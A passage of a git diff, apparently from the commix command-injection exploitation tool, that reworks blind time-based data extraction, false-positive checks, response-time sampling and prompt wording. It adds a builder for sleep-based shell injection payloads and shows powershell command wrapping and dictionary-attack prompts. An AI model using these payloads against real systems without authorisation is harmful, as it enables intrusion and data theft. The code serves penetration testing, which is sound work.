settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - # A rejected value may have come from the narrowed set missing the real - # character - escalate to the full range rather than retrying the same guess. - ascii_char = _bisect_chars(force_full=True) + ascii_char, from_full_range = _bisect_chars(force_full=True) if ascii_char is None: conn_error_flag = True break @@ -549,6 +604,7 @@ def _validate_char_boundary(candidate): with observed_chars_lock: observed_chars.add(ascii_char) observed_count[0] += 1 + char_frequency[ascii_char] = char_frequency.get(ascii_char, 0) + 1 return ascii_char, conn_error_flag @@ -578,53 +634,77 @@ def _extract_position(num_of_chars): # Asked once already in do_time_related_proccess(), before this ever runs. threaded = settings.THREADS > 1 and _THREADS_SUPPORTED and settings.THREADED_TIME_RETRIEVAL_CHOICE != False if not threaded: - try: - for pos in positions_to_extract: - _, ascii_char, conn_error_flag = _extract_position(pos) - results_by_position[pos] = ascii_char - if conn_error_flag: - conn_error_positions.add(pos) - if ascii_char is not None: + remaining = positions_to_extract + while remaining: + try: + for pos in remaining: + _, ascii_char, conn_error_flag = _extract_position(pos) + if ascii_char is None: + failed_positions.add(pos) + results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char + if conn_error_flag: + conn_error_positions.add(pos) _print_progress() - except (KeyboardInterrupt, SystemExit): - _save_progress() - raise + remaining = [] + except SystemExit: + _save_progress() + raise + except KeyboardInterrupt: + # Defensive fallback - should already be absorbed inside _bisect_once()/_bisect_chars(). + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None] else: # Extract positions concurrently - never more workers than positions to fill. - num_workers = min(settings.THREADS, len(positions_to_extract)) or 1 - executor = concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) - try: - futures = {executor.submit(_extract_position, pos): pos for pos in positions_to_extract} - for future in concurrent.futures.as_completed(futures): - pos, ascii_char, conn_error_flag = future.result() - results_by_position[pos] = ascii_char - if conn_error_flag: - conn_error_positions.add(pos) - if ascii_char is not None: + remaining = positions_to_extract + while remaining: + num_workers = min(settings.THREADS, len(remaining)) or 1 + executor = concurrent.futures.ThreadPoolExecutor(max_workers=num_workers) + try: + futures = {executor.submit(_extract_position, pos): pos for pos in remaining} + for future in concurrent.futures.as_completed(futures): + pos, ascii_char, conn_error_flag = future.result() + if ascii_char is None: + failed_positions.add(pos) + results_by_position[pos] = UNRESOLVED_POSITION if ascii_char is None else ascii_char + if conn_error_flag: + conn_error_positions.add(pos) _print_progress() - except (KeyboardInterrupt, SystemExit) as exc: - # _abort_executor() below hard-exits the process - save must happen first. - _save_progress() - _abort_executor(executor, exc) - else: - executor.shutdown(wait=True) - # Assemble in position order - covers positions resolved just now as well as - # any pre-seeded by _load_partial_progress(). + except SystemExit as exc: + # Already means "leave now" (e.g. checks.quit()) - no prompting. + _save_progress() + _abort_executor(executor, exc) + except KeyboardInterrupt: + # wait=True lets in-flight workers finish, so nothing races the retry below. + executor.shutdown(wait=True, cancel_futures=True) + _save_progress() + checks.handle_exploitation_interrupt(filename, url) + remaining = [pos for pos in positions_to_extract if results_by_position.get(pos) is None] + else: + executor.shutdown(wait=True) + remaining = [] + # Assemble in position order; unresolved positions are dropped, not filled with a placeholder. for pos in positions: ascii_char = results_by_position.get(pos) - if ascii_char is not None: + if ascii_char is not None and ascii_char != UNRESOLVED_POSITION: output.append(chr(ascii_char)) - # Severe instability converges on the pool's upper bound, coincides with a visible - # connection error, or the connection was already confirmed too laggy to trust. + # Severe instability converges on the pool's upper bound - >= 1, not >= 2, since a single occurrence already means wrong data. boundary_char = chr(max(settings.CHAR_POOL_MULTI)) - if output.count(boundary_char) >= 2 or conn_error_positions or lagging_detected: + if output.count(boundary_char) >= 1 or conn_error_positions or lagging_detected: if threaded: warn_msg = "Concurrent (threaded) requests overloading the target may have corrupted the extracted data. Consider re-running with '--threads=1' to confirm it." else: warn_msg = "Connection instability with the target may have corrupted the extracted data. Consider re-running to confirm it." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + if failed_positions: + warn_msg = str(len(failed_positions)) + " of " + str(len(positions)) + " character" + warn_msg += "s"[len(positions) == 1:] + " could not be extracted (no delay was ever observed for " + warn_msg += ("them" if len(failed_positions) != 1 else "it") + ") - the retrieved output below is missing " + warn_msg += ("those characters" if len(failed_positions) != 1 else "that character") + "." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + check_end = time.time() check_exec_time = int(check_end - check_start) output = "".join(str(p) for p in output) @@ -696,13 +776,62 @@ def check_injection(separator, TAG, cmd, prefix, suffix, whitespace, http_reques """ False-positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: from src.core.injections.blind.techniques.time_based import tb_payloads as payloads else: from src.core.injections.semiblind.techniques.tempfile_based import tfb_payloads as payloads - + + # silent=True skips the detection-phase chatter for a resume re-verify. + if not silent: + checks.check_for_false_positive_result(false_positive_warning) + + # Varying the sleep time. + if false_positive_warning: + timesec = timesec + random.randint(3, 5) + + # Verify the oracle with known logical properties; any failed relationship invalidates the round. + if settings.TARGET_OS != settings.OS.WINDOWS and not alter_shell: + a, c, b = sorted(random.sample(range(1, 50), 3)) + # End on a must-delay check; the caller re-validates the final exec_time. + litmus_checks = [ + (str(a) + " -eq " + str(a), True), + (str(a) + " -eq " + str(c), None), # discarded - lets the backend settle after any earlier delay + (str(a) + " -eq " + str(b), False), + (str(b) + " -eq " + str(c), False), + (str(b) + " " + str(c), False), # not a valid test expression + (str(c) + " -eq " + str(c), True), + ] + verified = True + for condition, expect in litmus_checks: + payload = payloads.condition_check(separator, condition, timesec, http_request_method) + if payload is None: + verified = False + break + if not silent and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + before = settings.TOTAL_OF_REQUESTS + exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) + if stability.request_was_retried(before): + verified = False + break + delayed = checks.time_related_shell(url_time_response, exec_time, timesec) + if not delayed: + checks.record_baseline_response_time(exec_time) + if expect is not None and delayed != expect: + verified = False + break + + if verified: + if not silent and settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + return exec_time, str(randvcalc) + else: + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) + return exec_time, "" + if settings.TARGET_OS == settings.OS.WINDOWS: previous_cmd = cmd if alter_shell: @@ -716,15 +845,9 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: cmd = "powershell.exe -InputFormat none write-host ([string](cmd /c " + cmd + ")).trim()" - checks.check_for_false_positive_result(false_positive_warning) - - # Varying the sleep time. - if false_positive_warning: - timesec = timesec + random.randint(3, 5) - # The verified value is always a single digit (see handler.py's randv1/randv2 ranges), so its output length is always 1. output_length = 1 - if settings.VERBOSITY_LEVEL == 0: + if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") if alter_shell: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -737,19 +860,25 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese else: payload = payloads.cmd_execution(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method) - # Accept on the first delay seen across a bounded number of tries. + # Requires the delay twice in a row before accepting - one stray slow response is cheap, two isn't. def _retry_confirm(payload): nonlocal exec_time, vuln_parameter, prefix, suffix + consecutive_hits = 0 for attempt in range(settings.FALSE_POSITIVE_RETRIES): before = settings.TOTAL_OF_REQUESTS - # Discard the returned payload - prefixes() re-prepends onto it, so feeding it - # back in would compound the prefix by one more "prefix" on every retry. + # Discard the returned payload - prefixes() re-prepending onto it would compound on every retry. exec_time, vuln_parameter, _, prefix, suffix = requests.perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url) if stability.request_was_retried(before): continue if checks.time_related_shell(url_time_response, exec_time, timesec): - return True - checks.record_baseline_response_time(exec_time) + consecutive_hits += 1 + # Let the backend's own cooldown pass before trusting the next timing read. + time.sleep(timesec) + if consecutive_hits >= 2: + return True + else: + consecutive_hits = 0 + checks.record_baseline_response_time(exec_time) return False found_chars = _retry_confirm(payload) @@ -761,7 +890,7 @@ def _retry_confirm(payload): output = [] # The verified value is always in 1-7 (see handler.py's randv1/randv2 ranges). for ascii_char in range(1, 8): - if settings.VERBOSITY_LEVEL == 0: + if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(".") if alter_shell: if technique == settings.INJECTION_TECHNIQUE.TIME_BASED: @@ -780,15 +909,17 @@ def _retry_confirm(payload): output = "".join(str(p) for p in output) if str(output) == str(randvcalc): - if settings.VERBOSITY_LEVEL == 0: + if not silent and settings.VERBOSITY_LEVEL == 0: settings.print_data_to_stdout(" (done)") return exec_time, output else: - checks.unexploitable_point(retry_attempt, retry_total) + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) return exec_time, "" else: - checks.unexploitable_point(retry_attempt, retry_total) + if not silent: + checks.unexploitable_point(retry_attempt, retry_total) return exec_time, "" """ @@ -814,14 +945,14 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): while prompt: message = "Do you want to use a random file '" + OUTPUT_TEXTFILE - message += "' to receive the command execution output? [Y/n] > " + message += "' to receive the command execution output? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: break elif procced_option in settings.CHOICE_NO: - message = "Enter a filename to receive the command execution output > " + message = "Enter a filename to receive the command execution output " message = common.read_input(message, default=OUTPUT_TEXTFILE, check_batch=True) OUTPUT_TEXTFILE = message @@ -884,14 +1015,14 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.RECHECK_FILE_FOR_EXTRACTION = True while True: message = "Do you want to use the URL '" + output - message += "' to receive the command execution output? [Y/n] > " + message += "' to receive the command execution output? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.DEFINED_WEBROOT = output break elif procced_option in settings.CHOICE_NO: message = "Enter URL to receive " - message += "the command execution output > " + message += "the command execution output " message = common.read_input(message, default=output, check_batch=True) if not re.search(r'^(?:http)s?://', message, re.I): common.invalid_option(message) diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py index 93fd9e01f2..c049dddab6 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py @@ -34,7 +34,7 @@ def select_output_filename(technique, tmp_path, TAG, prompt=True): """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total) +def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) # eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 1fd562d7ed..302cdc9df0 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -159,6 +159,38 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque return checks.sanitize_payload_newlines(payload) +""" +Build a raw shell numeric comparison for false-positive checks; Unix-only. +""" +def condition_check(separator, condition, timesec, http_request_method): + if settings.TARGET_OS == settings.OS.WINDOWS: + return None + if separator in (";", "%0a"): + payload = (separator + + "if [ " + condition + " ]" + separator + + "then sleep " + str(timesec) + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&"): + payload = (_urllib.parse.quote("&") + + "sleep 0" + separator + + "[ " + condition + " ]" + separator + + "sleep " + str(timesec) + ) + elif separator == "||": + pipe = "|" + payload = (pipe + + "[ ! " + condition + " ]" + separator + + "sleep " + str(timesec) + ) + else: + return None + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.sanitize_payload_newlines(payload) + """ Execute shell commands on vulnerable host. """ diff --git a/src/core/main.py b/src/core/main.py index 661cdbffba..495faa4346 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -285,7 +285,8 @@ def url_response(url, http_request_method): # Piggyback the WAF probe on the same request to avoid an extra round-trip. conn_request, conn_url = request, url - do_waf = not menu.options.skip_waf + # Skip the active WAF probe on a likely resume; '--ignore-session' forces it. + do_waf = not menu.options.skip_waf and not settings.LIKELY_RESUME if do_waf: settings.COOKIE_INJECTION = None conn_request, conn_url = checks.check_waf(url, http_request_method) @@ -591,10 +592,11 @@ def main(filename, url, http_request_method): ) try: try: - info_msg = "Performing heuristic (passive) tests on the target URL." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - if settings.VERBOSITY_LEVEL != 0: - requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME) + # Skip stability probing on resume unless content-reflection techniques ('c'/'e') are in scope. + if not settings.LIKELY_RESUME and (not menu.options.tech or "c" in menu.options.tech or "e" in menu.options.tech): + requests.is_url_content_stable(settings.INIT_CONNECTION_URL or url, response, settings.INIT_CONNECTION_FETCH_TIME, http_request_method) + info_msg = "Performing heuristic (passive) tests on the target URL." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) # Procedure for target server identification. @@ -856,7 +858,7 @@ def main(filename, url, http_request_method): if menu.options.wizard: info_msg = "Starting wizard interface." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - message = "Please enter full target URL (-u) > " + message = "Please enter full target URL (-u) " if menu.options.url: settings.print_data_to_stdout(settings.print_message(message + str(menu.options.url))) elif not menu.options.url and not settings.STDIN_PARSING: @@ -866,7 +868,7 @@ def main(filename, url, http_request_method): pass else: break - message = "POST data (--data) [Enter for None] > " + message = "POST data (--data) [Enter for None] " if settings.STDIN_PARSING or menu.options.data: settings.print_data_to_stdout(settings.print_message(message + str(menu.options.data))) else: @@ -874,7 +876,7 @@ def main(filename, url, http_request_method): if menu.options.data is not None and len(menu.options.data) == 0: menu.options.data = False while True: - message = "Injection difficulty (--level) [1-3, Default: 1] > " + message = "Injection difficulty (--level) [1-3, Default: 1] " if settings.STDIN_PARSING: settings.print_data_to_stdout(settings.print_message(message + str(settings.INJECTION_LEVEL))) break @@ -911,9 +913,9 @@ def main(filename, url, http_request_method): settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) else: settings.THREADS = menu.options.threads - if settings.THREADS > 1: - info_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + if settings.THREADS > 1 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Setting " + str(settings.THREADS) + " concurrent HTTP requests." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if menu.options.tor: settings.TIMESEC = settings.TIMESEC * 2 @@ -997,6 +999,8 @@ def main(filename, url, http_request_method): if not settings.STDIN_PARSING and not menu.options.bulkfile and not settings.CRAWLING: if os_checks_num == 0: settings.INIT_TEST = True + # Skip upfront detection-only probes below when a stored technique already exists. + settings.LIKELY_RESUME = session_handler.has_any_stored_technique(url, http_request_method) response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) @@ -1099,7 +1103,7 @@ def main(filename, url, http_request_method): if settings.SKIP_VULNERABLE_HOST is None: while True: message = "An injection point has already been detected against '" + _urllib.parse.urlparse(form_url).netloc + "'. " - message += "Do you want to skip further tests involving it? [Y/n] > " + message += "Do you want to skip further tests involving it? [Y/n] " skip_host = common.read_input(message, default="Y", check_batch=True) if skip_host in settings.CHOICE_YES: settings.SKIP_VULNERABLE_HOST = True @@ -1125,7 +1129,7 @@ def main(filename, url, http_request_method): perform_check = True while True: settings.print_data_to_stdout(settings.print_message("[" + str(form_num) + "/" + str(len(clean_output_forms)) + "] FORM - POST " + form_url + " - " + form_data)) - message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n] > " + message = "Do you want to use form #" + str(form_num) + " for testing? [Y/n] " next_form = common.read_input(message, default="Y", check_batch=True) if next_form in settings.CHOICE_YES: info_msg = "Testing form '" + form_url + "'." @@ -1169,7 +1173,7 @@ def main(filename, url, http_request_method): if settings.SKIP_VULNERABLE_HOST is None: while True: message = "An injection point has already been detected against '" + _urllib.parse.urlparse(url).netloc + "'. " - message += "Do you want to skip further tests involving it? [Y/n] > " + message += "Do you want to skip further tests involving it? [Y/n] " skip_host = common.read_input(message, default="Y", check_batch=True) if skip_host in settings.CHOICE_YES: settings.SKIP_VULNERABLE_HOST = True @@ -1197,7 +1201,7 @@ def main(filename, url, http_request_method): perform_check = True while True: settings.print_data_to_stdout(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + http_request_method + " " + url)) - message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] > " + message = "Do you want to use URL #" + str(url_num) + " for testing? [Y/n] " next_url = common.read_input(message, default="Y", check_batch=True) if next_url in settings.CHOICE_YES: info_msg = "Testing URL '" + url + "'." diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index a8a06f122b..896d6104a6 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -360,7 +360,7 @@ def shellshock_handler(url, http_request_method, filename): # Enumeration options. if settings.ENUMERATION_DONE: while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " + message = "Do you want to ignore stored session and enumerate again? [y/N] " enumerate_again = common.read_input(message, default="N", check_batch=True) if enumerate_again in settings.CHOICE_YES: enumeration(url, cve, check_header, filename) @@ -378,7 +378,7 @@ def shellshock_handler(url, http_request_method, filename): # File access options. if settings.FILE_ACCESS_DONE == True: while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " + message = "Do you want to ignore stored session and access files again? [y/N] " file_access_again = common.read_input(message, default="N", check_batch=True) if file_access_again in settings.CHOICE_YES: file_access(url, cve, check_header, filename) diff --git a/src/core/requests/authentication.py b/src/core/requests/authentication.py index c37a932460..a1ba6a241c 100644 --- a/src/core/requests/authentication.py +++ b/src/core/requests/authentication.py @@ -78,7 +78,7 @@ def authentication_process(http_request_method): def define_wordlists(): while True: - message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] > " + message = "Do you want to use default wordlists for dictionary-based attack? [Y/n] " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: diff --git a/src/core/requests/redirection.py b/src/core/requests/redirection.py index be140c248a..045dac674b 100755 --- a/src/core/requests/redirection.py +++ b/src/core/requests/redirection.py @@ -83,7 +83,7 @@ def do_check(request, url, redirect_url, http_request_method): if settings.CRAWLED_URLS_NUM != 0 and settings.CRAWLED_SKIPPED_URLS_NUM != 0: settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) message = "Got a " + str(settings.REDIRECT_CODE) + " redirect to '" + redirect_url - message += "'. Do you want to follow? [Y/n] > " + message += "'. Do you want to follow? [Y/n] " redirection_option = common.read_input(message, default="Y", check_batch=True) if redirection_option in settings.CHOICE_YES: settings.FOLLOW_REDIRECT = True diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 142d172fee..1faf110e2b 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -18,6 +18,7 @@ import time import socket import difflib +import statistics from socket import error as SocketError from src.utils import menu from os.path import splitext @@ -44,10 +45,21 @@ """ Check if the content of the given URL is stable over time. """ -def is_url_content_stable(url, response=None, fetch_time=None): +def is_url_content_stable(url, response=None, fetch_time=None, http_request_method=None): status = "stable" - debug_msg = "Checking if the target URL content is stable." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + info_msg = "Checking if the target URL content is stable." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + + def _build_request(): + # Must mirror the real request (method + POST body) - comparing against a bare GET makes a stable page look "dynamic". + method = http_request_method or settings.HTTPMETHOD.GET + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(url, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=method) + else: + request = _urllib.request.Request(url, method=method) + headers.do_check(request) + return request + try: if response is not None: # Reuse the connection-test response and make .read() reusable for later checks. @@ -55,7 +67,7 @@ def is_url_content_stable(url, response=None, fetch_time=None): first_response_content = raw_body.strip() response.read = (lambda _b: lambda *a, **kw: _b)(raw_body) else: - first_response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + first_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) try: first_response_content = first_response.read().strip() finally: @@ -69,7 +81,8 @@ def is_url_content_stable(url, response=None, fetch_time=None): if remaining: time.sleep(remaining) - second_response = _urllib.request.urlopen(url, timeout=settings.TIMEOUT) + # Bare urlopen(url) would drop the user's cookie/headers, making an authenticated target look different. + second_response = _urllib.request.urlopen(_build_request(), timeout=settings.TIMEOUT) try: second_response_content = second_response.read().strip() finally: @@ -77,6 +90,10 @@ def is_url_content_stable(url, response=None, fetch_time=None): if first_response_content != second_response_content: ratio = difflib.SequenceMatcher(None, first_response_content, second_response_content).ratio() + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Content similarity ratio between the two samples: " + str(round(ratio, 4)) + debug_msg += " (threshold: " + str(settings.STABILITY_SIMILARITY_THRESHOLD) + ")." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) if ratio < settings.STABILITY_SIMILARITY_THRESHOLD: status = "dynamic" @@ -86,7 +103,7 @@ def is_url_content_stable(url, response=None, fetch_time=None): return msg = "Target URL content is " + status + "." - settings.print_data_to_stdout(settings.print_bold_debug_msg(msg)) + settings.print_data_to_stdout(settings.print_info_msg(msg)) """ @@ -123,18 +140,30 @@ def crawler_request(url, http_request_method): request_failed(err_msg) """ -Estimating the response time (in seconds). +A single, best-effort clean response-time sample; returns None on failure instead of raising. """ -def estimate_response_time(url, timesec, http_request_method): +def quick_response_time_sample(url, http_request_method): + try: + if menu.options.data: + request = _urllib.request.Request(url, menu.options.data.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE).encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.TESTABLE_VALUE), method=http_request_method) + headers.do_check(request) + start = time.time() + response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) + response.read(1) + response.close() + return time.time() - start + except Exception: + return None + +""" +Sends one clean request and times it, with full auth-error handling - the authoritative first sample for estimate_response_time() below. +""" +def _measure_response_time_with_auth_handling(url, http_request_method): stored_auth_creds = False _ = False - # Reuse url_response()'s clean response to avoid a duplicate round-trip. - if settings.INIT_CONNECTION_TIME is not None: - diff = settings.INIT_CONNECTION_TIME - settings.INIT_CONNECTION_TIME = None - return _finish_response_time_estimate(diff, timesec) - if settings.VERBOSITY_LEVEL != 0: debug_msg = "Estimating the target URL response time. " settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) @@ -224,7 +253,7 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg += "HTTP authentication credentials." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to perform a dictionary-based attack? [Y/n] > " + message = "Do you want to perform a dictionary-based attack? [Y/n] " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) @@ -252,7 +281,7 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg = "Failed to identify the realm attribute." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) while True: - message = "Do you want to perform a dictionary-based attack? [Y/n] > " + message = "Do you want to perform a dictionary-based attack? [Y/n] " do_update = common.read_input(message, default="Y", check_batch=True) if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) @@ -286,6 +315,27 @@ def estimate_response_time(url, timesec, http_request_method): end = time.time() diff = end - start + return diff + +""" +Estimating the response time (in seconds) - median of several samples, since one alone is too noisy to trust for the slow-target decision. +""" +def estimate_response_time(url, timesec, http_request_method): + samples = [] + + # Reuse url_response()'s own connection-test timing instead of repeating the round-trip. + if settings.INIT_CONNECTION_TIME is not None: + samples.append(settings.INIT_CONNECTION_TIME) + settings.INIT_CONNECTION_TIME = None + else: + samples.append(_measure_response_time_with_auth_handling(url, http_request_method)) + + for _ in range(settings.RESPONSE_TIME_SAMPLES - len(samples)): + extra = quick_response_time_sample(url, http_request_method) + if extra is not None: + samples.append(extra) + + diff = statistics.median(samples) return _finish_response_time_estimate(diff, timesec) """ @@ -307,10 +357,8 @@ def _finish_response_time_estimate(diff, timesec): warn_msg += " data extraction." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - if int(timesec) == int(url_time_response): - timesec = int(timesec) + int(url_time_response) - else: - timesec = int(timesec) + # No preemptive bump - the real delay decision uses the adaptive baseline threshold, not this estimate. + timesec = int(timesec) settings.URL_TIME_RESPONSE = url_time_response return timesec, url_time_response diff --git a/src/utils/crawler.py b/src/utils/crawler.py index dc793ba5d5..feff4268b1 100644 --- a/src/utils/crawler.py +++ b/src/utils/crawler.py @@ -50,7 +50,7 @@ def init_global_vars(): """ def set_crawling_depth(): while True: - message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] > " + message = "Do you want to change the crawling depth level (" + str(menu.options.crawldepth) + ")? [y/N] " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES or message in settings.CHOICE_NO: break @@ -63,7 +63,7 @@ def set_crawling_depth(): # Change the crawling depth level. if message in settings.CHOICE_YES: while True: - message = "Please enter the crawling depth level: > " + message = "Please enter the crawling depth level: " message = common.read_input(message, default="1", check_batch=True) menu.options.crawldepth = message return @@ -75,7 +75,7 @@ def set_crawling_depth(): def normalize_results(output_href): results = [] while True: - message = "Do you want to normalize crawling results? [Y/n] > " + message = "Do you want to normalize crawling results? [Y/n] " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: # Dedupe by path and parameter names, keeping the first occurrence. @@ -113,7 +113,7 @@ def store_crawling(output_href): try: while True: message = "Do you want to store crawling results to a temporary file " - message += "(for eventual further processing with other tools)? [y/N] > " + message += "(for eventual further processing with other tools)? [y/N] " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: filename = tempfile.mkstemp(suffix=settings.OUTPUT_FILE_EXT)[1] @@ -153,7 +153,7 @@ def sitemap(url, http_request_method): while True: warn_msg = "A sitemap recursion detected (" + url + ")." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - message = "Do you want to follow? [Y/n] > " + message = "Do you want to follow? [Y/n] " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: sitemap(url, http_request_method) @@ -234,7 +234,7 @@ def enable_crawler(): message = "" if not settings.CRAWLING: while True: - message = "Do you want to enable crawler? [y/N] > " + message = "Do you want to enable crawler? [y/N] " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: menu.options.crawldepth = 1 @@ -254,7 +254,7 @@ def enable_crawler(): def check_sitemap(): while True: message = "Do you want to check target"+ ('', 's')[settings.MULTI_TARGETS] + " for " - message += "the existence of site's sitemap(.xml)? [y/N] > " + message += "the existence of site's sitemap(.xml)? [y/N] " message = common.read_input(message, default="N", check_batch=True) if message in settings.CHOICE_YES: settings.SITEMAP_CHECK = True diff --git a/src/utils/install.py b/src/utils/install.py index a4969a55c7..db3fc114b9 100644 --- a/src/utils/install.py +++ b/src/utils/install.py @@ -70,7 +70,7 @@ def installer(): settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) while True: - message = "Do you want to remove the current installation? [Y/n] > " + message = "Do you want to remove the current installation? [Y/n] " user_input = common.read_input(message, default="Y", check_batch=True) if user_input in settings.CHOICE_YES: remove() diff --git a/src/utils/purge.py b/src/utils/purge.py index 52b65abbfb..8602e03cd9 100644 --- a/src/utils/purge.py +++ b/src/utils/purge.py @@ -23,13 +23,20 @@ from src.utils import menu from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init +from src.thirdparty.six.moves import urllib as _urllib """ -Safely removes (purges) output directory. +Safely removes (purges) output directory. With -u, scoped to just that target's subdirectory. """ def purge(): directory = settings.OUTPUT_DIR + if menu.options.url: + host = _urllib.parse.urlparse(menu.options.url).netloc.replace(":", "_") + if host: + directory = os.path.join(directory, host) + # Absolute - the chdir below would otherwise break this relative path. + directory = os.path.abspath(directory) if not 